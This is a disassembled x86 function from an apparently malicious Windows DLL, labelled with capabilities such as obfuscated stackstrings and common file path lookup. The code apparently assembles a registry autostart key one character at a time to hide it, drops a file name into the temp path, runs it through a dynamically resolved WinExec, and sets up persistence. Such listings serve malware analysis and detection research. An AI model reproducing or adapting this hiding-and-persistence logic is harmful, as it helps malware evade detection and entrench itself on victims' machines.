Function at 0x1000a890
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x36c
mov dword [0x100430f0], eax
mov eax, dword [esp + 0x374]
dec eax
jne 0x1000ab32
push ebx
push ebp
push esi
push edi
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov ecx, 0x6f
mov edx, 0x66
mov word [esp + 0x12], cx
mov ebp, 0x69
mov word [esp + 0x2a], cx
mov word [esp + 0x2e], cx
mov word [esp + 0x3e], cx
mov word [esp + 0x5e], cx
lea ecx, [esp + 0x10]
mov word [esp + 0x14], dx
mov word [esp + 0x24], bp
mov word [esp + 0x30], dx
mov word [esp + 0x38], bp
mov word [esp + 0x5c], bp
push 0x10015630
mov eax, 0x72
mov ebx, 0x65
mov esi, 0x5c
mov edi, 0x73
mov edx, 0x6e
xor ebp, ebp
push ecx
push closesocket
mov dword [esp + 0x78], 0
mov word [esp + 0x1c], 0x53
mov word [esp + 0x22], 0x74
mov word [esp + 0x24], 0x77
mov word [esp + 0x26], 0x61
mov word [esp + 0x28], ax
mov word [esp + 0x2a], bx
mov word [esp + 0x2c], si
mov word [esp + 0x2e], 0x4d
mov word [esp + 0x32], 0x63
mov word [esp + 0x34], ax
mov word [esp + 0x38], di
mov word [esp + 0x3e], 0x74
mov word [esp + 0x40], si
mov word [esp + 0x42], 0x57
mov word [esp + 0x46], dx
mov word [esp + 0x48], 0x64
mov word [esp + 0x4c], 0x77
mov word [esp + 0x4e], di
mov word [esp + 0x50], si
mov word [esp + 0x52], 0x43
mov word [esp + 0x54], 0x75
mov word [esp + 0x56], ax
mov word [esp + 0x58], ax
mov word [esp + 0x5a], bx
mov word [esp + 0x5c], dx
mov word [esp + 0x5e], 0x74
mov word [esp + 0x60], 0x56
mov word [esp + 0x62], bx
mov word [esp + 0x64], ax
mov word [esp + 0x66], di
mov word [esp + 0x6c], dx
mov word [esp + 0x6e], si
mov word [esp + 0x70], 0x52
mov word [esp + 0x72], 0x75
mov word [esp + 0x74], dx
mov word [esp + 0x76], bp
call fcn.1000a840
add esp, 0xc
test eax, eax
jne 0x1000aa27
lea edx, [esp + 0x10]
push 0x10015630
push edx
push closesocket
call fcn.1000a840
add esp, 0xc
test eax, eax
je 0x1000aa2e
mov ebx, 1
jmp 0x1000aa32
mov ebx, dword [esp + 0x6c]
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x176]
mov word [esp + 0x174], bp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x174]
push 0x104
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x71]
mov byte [esp + 0x70], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x70]
push ecx
push 0x104
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x70]
push str.heguv.c
push edx
call esi
lea eax, [esp + 0x70]
push 0x10015624
push eax
call esi
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
push str.WinExec
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x70]
push ebp
push ecx
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
cmp ebx, ebp
pop ebp
pop ebx
jne 0x1000ab24
lea edx, [esp]
push 0x10015630
push edx
lea eax, [esp + 0x16c]
push 1
push eax
push closesocket
call fcn.10009570
add esp, 0x14
test eax, eax
jne 0x1000ab24
lea ecx, [esp]
push 0x10015630
push ecx
lea edx, [esp + 0x16c]
push 1
push edx
push closesocket
call fcn.10009570
add esp, 0x14
mov eax, dword [esp + 0x370]
push eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, 1
add esp, 0x36c
ret 0xc